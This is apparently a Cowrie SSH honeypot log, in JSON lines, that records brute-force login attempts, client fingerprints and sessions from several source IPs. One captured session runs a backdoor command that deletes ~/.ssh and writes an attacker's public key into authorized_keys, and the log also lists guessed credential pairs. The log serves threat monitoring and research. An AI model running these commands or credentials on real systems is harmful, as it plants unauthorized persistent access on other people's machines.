{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:39.410500Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qaz@WSX","message":"login attempt [root/qaz@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:39.745631Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:39.950867Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:39.954296Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:39.958068Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:40.039714Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:40.230426Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:40.232685Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:40.315287Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:40.318988Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.233.73","src_port":62537,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cc4201feb33","protocol":"ssh","message":"New connection: 104.28.233.73:62537 (10.17.0.5:22) [session: 8cc4201feb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:41.395450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:41.399878Z","src_ip":"104.28.233.73","session":"8cc4201feb33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:41.485412Z","src_ip":"104.28.233.73","session":"8cc4201feb33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:41.834537Z","src_ip":"104.28.233.73","session":"8cc4201feb33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:42.919336Z","src_ip":"104.28.233.73","session":"8cc4201feb33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.233.73","src_port":62668,"dst_ip":"10.17.0.5","dst_port":22,"session":"face2f1a3d3c","protocol":"ssh","message":"New connection: 104.28.233.73:62668 (10.17.0.5:22) [session: face2f1a3d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:42.976307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:42.980762Z","src_ip":"104.28.233.73","session":"face2f1a3d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:43.056320Z","src_ip":"104.28.233.73","session":"face2f1a3d3c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:43.368723Z","src_ip":"104.28.233.73","session":"face2f1a3d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:43.445190Z","src_ip":"104.28.233.73","session":"face2f1a3d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:43.451267Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51720,"dst_ip":"159.203.135.109","dst_port":22,"session":"22a12146ff93","protocol":"ssh","message":"New connection: 2.57.122.208:51720 (159.203.135.109:22) [session: 22a12146ff93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:36:51.052926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:36:51.132324Z","src_ip":"2.57.122.208","session":"22a12146ff93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:36:51.208703Z","src_ip":"2.57.122.208","session":"22a12146ff93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:36:51.912828Z","src_ip":"2.57.122.208","session":"22a12146ff93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:36:53.025471Z","src_ip":"2.57.122.208","session":"22a12146ff93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":32929,"dst_ip":"159.203.135.109","dst_port":22,"session":"4393c3128a4b","protocol":"ssh","message":"New connection: 2.57.121.25:32929 (159.203.135.109:22) [session: 4393c3128a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:37.617831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:37.622218Z","src_ip":"2.57.121.25","session":"4393c3128a4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:37.729074Z","src_ip":"2.57.121.25","session":"4393c3128a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"libra","message":"login attempt [user/libra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:38.218839Z","src_ip":"2.57.121.25","session":"4393c3128a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"liberty1","message":"login attempt [user/liberty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:39.325954Z","src_ip":"2.57.121.25","session":"4393c3128a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"leticia","message":"login attempt [user/leticia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:40.432386Z","src_ip":"2.57.121.25","session":"4393c3128a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"legends","message":"login attempt [user/legends] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:41.539287Z","src_ip":"2.57.121.25","session":"4393c3128a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"legenda","message":"login attempt [user/legenda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:42.645925Z","src_ip":"2.57.121.25","session":"4393c3128a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:38:43.752512Z","src_ip":"2.57.121.25","session":"4393c3128a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60918,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a9ac9cc5beb","protocol":"ssh","message":"New connection: 2.57.122.208:60918 (159.203.135.109:22) [session: 2a9ac9cc5beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:39:03.113232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:39:03.215999Z","src_ip":"2.57.122.208","session":"2a9ac9cc5beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:39:03.220714Z","src_ip":"2.57.122.208","session":"2a9ac9cc5beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:39:03.972056Z","src_ip":"2.57.122.208","session":"2a9ac9cc5beb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:39:05.076313Z","src_ip":"2.57.122.208","session":"2a9ac9cc5beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.217.156.83","src_port":38602,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc99a5de75a","protocol":"ssh","message":"New connection: 8.217.156.83:38602 (159.203.135.109:22) [session: 4dc99a5de75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:39:06.308619Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:39:06.314164Z","src_ip":"8.217.156.83","session":"4dc99a5de75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.43.142.110","src_port":41386,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b0dec7b0743","protocol":"ssh","message":"New connection: 163.43.142.110:41386 (10.17.0.5:22) [session: 4b0dec7b0743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:50.841667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:50.846278Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:51.007797Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
